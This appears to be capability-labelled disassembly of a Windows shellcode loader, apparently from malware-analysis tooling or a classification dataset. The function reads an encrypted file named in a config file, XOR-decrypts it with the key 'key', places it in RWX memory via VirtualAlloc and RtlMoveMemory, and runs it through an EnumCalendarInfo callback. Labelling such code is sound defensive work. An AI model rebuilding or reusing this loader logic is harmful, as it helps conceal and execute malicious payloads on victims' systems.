Function at 0x140001de0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140034080]
xor rax, rsp
mov qword [rbp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
xor r14d, r14d
mov qword [rbp + 0x1c8], r14
mov qword [rbp + 0x1d0], r14
mov ebx, 6
mov r8d, ebx
lea rdx, str.config
lea rcx, [rbp + 0x1b8]
call fcn.140005310
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x80]
call fcn.140023750
lea rdx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0xf
cmova rdx, qword [rbp + 0x1b8]
mov edi, 1
mov r8d, edi
lea rcx, [rbp + 0x80]
call fcn.1400040d0
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], r15
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x7c], edx
mov rcx, qword [rbp + 0x80]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax + 0x90], bl
je 0x140001f1e
lea rdx, str.open_config_file_error:
call fcn.140004e60
lea rdx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0xf
cmova rdx, qword [rbp + 0x1b8]
mov r8, qword [rbp + 0x1c8]
mov rcx, rax
call fcn.140005a80
mov rcx, rax
call fcn.140005140
lea rbx, vtable.std::ios_base.0
lea rsi, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
jmp 0x1400023be
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1a8], 0xf
mov byte [rbp + 0x190], 0
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax + 0xc0]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x38], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x30]
call fcn.140004d20
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx esi, al
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140001f96
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140001f96
mov r8, qword [rax]
mov edx, edi
mov rcx, rax
call qword [r8]
movzx r8d, sil
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x80]
call fcn.140005d30
lea rcx, [rbp + 0x90]
call fcn.140003f90
mov esi, 2
test rax, rax
jne 0x140001ffa
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx + 0xc8], 0
cmovne eax, esi
or eax, dword [rbp + rcx + 0x90]
and eax, 0x17
mov dword [rbp + rcx + 0x90], eax
and eax, dword [rbp + rcx + 0x94]
jne 0x1400024a0
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x70]
call fcn.140023750
lea rdx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rdx, qword [rbp + 0x190]
mov r8d, 0x20
lea rcx, [rsp + 0x70]
call fcn.1400040d0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x80], 6
je 0x1400020a3
lea rdx, str.open_encrypted_file_error:
call fcn.140004e60
lea rdx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rdx, qword [rbp + 0x190]
mov r8, qword [rbp + 0x1a0]
mov rcx, rax
call fcn.140005a80
mov rcx, rax
call fcn.140005140
jmp 0x140002300
mov r8d, esi
lea rcx, [rsp + 0x70]
call fcn.140003690
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x70]
call fcn.1400035b0
mov r13, qword [rax + 8]
add r13, qword [rax]
xor r8d, r8d
lea rcx, [rsp + 0x70]
call fcn.140003690
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d8], xmm1
mov r12, r14
mov qword [rbp + 0x1e8], r14
test r13, r13
je 0x14000216a
movabs rax, 0x7fffffffffffffff
cmp r13, rax
ja 0x1400024f4
cmp r13, 0x1000
jb 0x140002134
lea rcx, [r13 + 0x27]
cmp rcx, r13
jbe 0x1400024fa
call fcn.140007098
test rax, rax
je 0x140002550
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x14000213f
mov rcx, r13
call fcn.140007098
mov r15, rax
mov qword [rbp + 0x1d8], r15
lea r12, [r15 + r13]
mov qword [rbp + 0x1e8], r12
mov r8, r13
xor edx, edx
mov rcx, r15
call fcn.140023750
mov rsi, r12
mov qword [rbp + 0x1e0], r12
jmp 0x140002178
mov rsi, qword [rbp + 0x1e0]
mov r15, qword [rbp + 0x1d8]
mov r8, r13
mov rdx, r15
lea rcx, [rsp + 0x70]
call fcn.140003880
lea rcx, [rbp - 0x80]
call fcn.140003f90
test rax, rax
jne 0x1400021c2
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx - 0x48], 0
mov eax, 2
cmovne ebx, eax
or ebx, dword [rbp + rcx - 0x80]
and ebx, 0x17
mov dword [rbp + rcx - 0x80], ebx
and ebx, dword [rbp + rcx - 0x7c]
jne 0x140002500
mov dword [rbp + 0x1b0], 0x79656b
mov r9, r14
test r13, r13
je 0x140002207
movabs r8, 0xaaaaaaaaaaaaaaab
nop
mov rax, r8
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
mov rcx, r9
sub rcx, rax
movzx eax, byte [rbp + rcx + 0x1b0]
xor byte [r9 + r15], al
inc r9
cmp r9, r13
jb 0x1400021e0
mov rcx, r13
call fcn.1400070d4
mov r14, rax
sub rsi, r15
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.1400230b0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea rdx, str.VirtualAlloc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, str.RtlMoveMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.EnumCalendarInfo
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
xor ecx, ecx
call rsi
mov rbx, rax
mov r8, r13
mov rdx, r14
mov rcx, rax
call fcn.1400230b0
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
mov rcx, rbx
call rdi
mov rcx, r14
call fcn.140007090
xor r14d, r14d
mov edi, r14d
test r15, r15
je 0x1400022f9
sub r12, r15
mov rax, r15
cmp r12, 0x1000
jb 0x1400022ee
add r12, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002550
mov rdx, r12
mov rcx, r15
call fcn.140007090
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x80]
call fcn.1400032f0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rsi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x6c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x20], rbx
lea rcx, [rbp + 0x20]
call fcn.1400067e8
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x1400023a5
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002556
call fcn.140007090
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1a8], 0xf
mov byte [rbp + 0x190], 0
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x80], r15
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x90]
call fcn.1400032f0
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x80], rsi
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x7c], edx
mov qword [rbp + 0x130], rbx
lea rcx, [rbp + 0x130]
call fcn.1400067e8
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0xf
jbe 0x140002468
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002463
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000249a
call fcn.140007090
mov eax, edi
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140007070
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000f7e0
nop
test al, 4
je 0x1400024ad
lea rbx, str.ios_base::badbit_set
jmp 0x1400024c2
test sil, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.1400013c0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x1d8]
call fcn.140001c80
lea rdx, [0x1400334e0]
lea rcx, [rbp + 0x1d8]
call fcn.140008e2c
nop
call fcn.140005a60
int3
call fcn.140001250
nop
test bl, 4
je 0x14000250e
lea rbx, str.ios_base::badbit_set
jmp 0x140002522
test al, bl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.1400013c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140001c80
lea rdx, [0x1400334e0]
lea rcx, [rsp + 0x40]
call fcn.140008e2c
nop
call fcn.14000f7e0
nop
call fcn.14000f7e0
int3